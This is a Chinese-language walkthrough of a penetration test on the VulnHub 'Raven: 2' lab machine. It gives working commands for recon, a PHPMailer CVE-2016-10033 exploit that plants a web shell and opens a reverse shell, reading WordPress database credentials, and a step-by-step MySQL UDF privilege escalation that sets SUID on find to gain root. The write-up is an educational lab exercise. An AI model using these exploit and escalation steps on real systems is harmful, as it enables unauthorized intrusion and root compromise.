【VulnHub】Raven: 2 靶机的渗透测试

释放双眼,带上耳机,听听看~!

《Web安全攻防》配套视频 之 报错注入攻击及代码分析

《Web安全攻防-渗透测试实战指南》配套视频 第十三期 本期视频内容对应图书 第4章  Web安全原理剖析 4.1 SQL注入的基础 4.1.8 报错注入攻击 4.1.9 报错注入代码分析 如果学习有疑问, 可以登录官网: https://www.ms08067.com 书籍介绍 《Web安全攻防-渗透测

本文作者:是大方子(Ms08067实验室核心成员)

总结与反思:

1. 使用netdiscover探测内网存活主机

2. PHPMailer的漏洞反弹得到shell

3. Python版的EXP修改

4. 查看wordpress的wp-config.php配置文件得到数据库账号密码

5. MySQL版本 <= 5.7.14 5.6.32 5.5.51   可以利用UDF提权

6. KALIEXP的编译

7. 给程序chmod u+s 增加suid权限,可以以root权限运行

8. 利用带有suid标志的find命令进行命令执行拿到root shell

 

靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova

 

Raven 2是一个中等难度的boot2root 虚拟靶机,在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵。

总共4个flag需要找出!

先将靶机导入并开机.

利用netdiscovereh0网卡进行探测

netdiscover -i eth0

这里可以通过经验判断192.168.61.135就是靶机的IP地址。

nmap -A 192.168.61.135

通过nmap的信息可以看出这个就是靶机的IP地址

通过上面的信息我们可以看到,靶机开放了22,80,111这3个端口。

我们先看80端口

看到是一个网站,所以我们就先进行目录的爆破,这里我用gobuster

gobuster -u http://192.168.61.135 -w /usr/share/wordlists/dirb/common.txt

这里先看下vendor

这个网站是存在目录遍历的

我打开http://192.168.61.135/vendor/PATH发现了第一个FLAG

除了FLAG还有网站的目录地址

/var/www/html/

把每个文件翻下,大概知道了服务器上安装这PHPMailer

我们通过kalisearchsploit来查找PHPMailer的漏洞

searchsploit phpmailer

但是我们不知道靶机上的PHPMailer的版本是多少,但是VERSION提供的应该就是PHPMailer的版本号

这里我们选用

你可以通过

searchsploit -x exploits/php/webapps/40974.py

查看到EXP的内容

也可以用exploit-db.com进行搜索exp

https://www.exploit-db.com/exploits/40974

通过exploit-db的查询我们知道这个漏洞的编号为CVE-2016-10033

然后我们查下漏洞资料:https://www.anquanke.com/post/id/85295

这个漏洞是因为邮件地址能够包含用引号括起来的空格,这样可以进行攻击参数的注入

我们我们在网站主页上看到的邮件页面地址为:http://192.168.61.135//contact.php

接下来我们把EXP的内容进行下载编辑

修改内容如下:

1. 开头加上

#!/usr/bin/python

# -*- coding: utf-8 -*-

2. 修改target地址为靶机的CONTACT页面地址:http://192.168.61.135/contact.php

修改backdoor为’/sdfz.php’,默认的backdoor.php执行时无法生成(原因可能是如介绍说这个靶机多次被攻击增加了安全性,这类敏感字肯定会被ban

3. 修改payload的内容

4. 运行后出现如下错误,只要pip install requests-toolbelt即可

5. 然后KALI nc监听下对应的端口

6. 然后我们访问下http://192.168.61.135/contact.php,这样就会执行我们的payload在目录下面生成sdfz.php

7. 然后我们在访问下http://192.168.61.135/sdfz.php

8. 这个时候我们就会得到反弹的shell

我们用python来获取个pty

python -c ‘import pty;pty.spawn(“/bin/bash”)’

然后我们搜索下关键字flag

find / -name “flag*”

发现2个flag

那么现在就剩最后一个FLAG了,应该就在root目录里面。

所以接下来就是提权

我第一反应是用脏牛进行提权

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

下载dirty.ckali中进行编译

gcc -pthread dirty.c -o dirty -lcrypt

然后kalipython SimpleHTTPServer模块开启个HTTP服务

然后在靶机中用wget下载编译好的脏牛文件进行运行。

但是不管我怎么更名并下载脏牛,这个wget都卡在这

脏牛就用不上了

我们上传个LinEnum.shLINUX进行信息收集,方便提权使用

项目地址:https://github.com/rebootuser/LinEnum

世界上最可怕的搜索引擎–shodan自动化利用

Shodan是什么? Shodan,是一个暗黑系的谷歌,作为一个针对网络设备的搜索引擎,它可以在极短的时间内在全球设备中搜索到你想找的设备信息。对于渗透工作者来说,就是一个辅助我们寻找靶机的好助手。 安全工作者的日常工作少不了跟进最新漏洞和使用实战靶机进

然后加权运行

然后在运行结果中看到这条,mysql使用root运行的

漏洞信息:

https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

 

如果MySQL版本 <= 5.7.145.6.325.5.51

则有MySQL-Exploit-Remote-Root-Code-Execution-Privesc漏洞可以进行提权

我们回到网站根目录ls,可以看到有wordpress(wp)

我们进去查看下wp的配置文件

数据库账号:root

数据库密码:R@v3nSecurity

 

那么我们登录下mysql查看下mysql版本

这里我们看到Mysql的版本是存在漏洞的

我们从https://www.exploit-db.com/exploits/1518获取EXP

然后我们在KALI上编译生成so文件

wget https://www.exploit-db.com/download/1518

mv 1518 raptor_udf.c

gcc -g -c raptor_udf.c

gcc -g -shared -o  raptor_udf.so raptor_udf.o -lc

mv raptor_udf.so sdfz_udf.so

然后同样在靶机上用wget下载sdfz_udf.so

cd /tmp

wget http://192.168.61.130:8000/sdfz_udf.so

然后我们进入数据库开始提权

mysql> use mysql;

use mysql;

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

 

Database changed

mysql> create table foo(line blob);

create table foo(line blob);

Query OK, 0 rows affected (0.06 sec)

 

mysql> insert into foo values(load_file(‘/tmp/sdfz_udf.so’));

insert into foo values(load_file(‘/tmp/sdfz_udf.so’));

Query OK, 1 row affected (0.00 sec)

 

mysql> select * from foo into dumpfile ‘/usr/lib/mysql/plugin/sdfz_udf.so’;

【其中dumpfile的路径要根据前面进程列出来的plugin目录进行改动】

select * from foo into dumpfile ‘/usr/lib/mysql/plugin/sdfz_udf.so’;

Query OK, 1 row affected (0.04 sec)

 

mysql> create function do_system returns integer soname ‘sdfz_udf.so’;

create function do_system returns integer soname ‘sdfz_udf.so’;

Query OK, 0 rows affected (0.00 sec)

 

mysql> select * from mysql.func;

select * from mysql.func;

+———–+—–+————-+———-+

| name      | ret | dl          | type     |

+———–+—–+————-+———-+

| do_system |   2 | sdfz_udf.so | function |

+———–+—–+————-+———-+

1 row in set (0.00 sec)

 

mysql> select do_system(‘chmod u+s /usr/bin/find’);

【chmod u+s 表示给某个程序的所有者以suid权限,可以像root用户一样操作

select do_system(‘chmod u+s /usr/bin/find’);

+————————————–+

| do_system(‘chmod u+s /usr/bin/find’) |

+————————————–+

|                                    0 |

+————————————–+

1 row in set (0.00 sec)

 

mysql> exit

exit

Bye

看下我们当前的权限

然后用find执行命令提权成功

得到flag4


来源:Ms08067安全实验室



界世的你当

作你的肩膀



 ms08067安全实验室


本文源自微信公众号:Ms08067安全实验室

Security+备考之路

本人于2019年4月4日参加了Security+考试。本来是2018年12月报名的学习,因为事情比较多,一拖再拖到了三月底,本打算在奖学金获取时间结束前考试。备考时间一共为4天,时间过为仓促,只取得了765分,不过还是值了。下面分享一下我这四天的备考过程。   备考经

人已赞赏
安全工具

【HTB靶场系列】如何获得邀请码及如何跟HTB建立连接

2019-10-14 20:16:00

安全工具

《Web安全攻防》配套视频 之 报错注入攻击及代码分析

2019-10-14 20:16:05

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索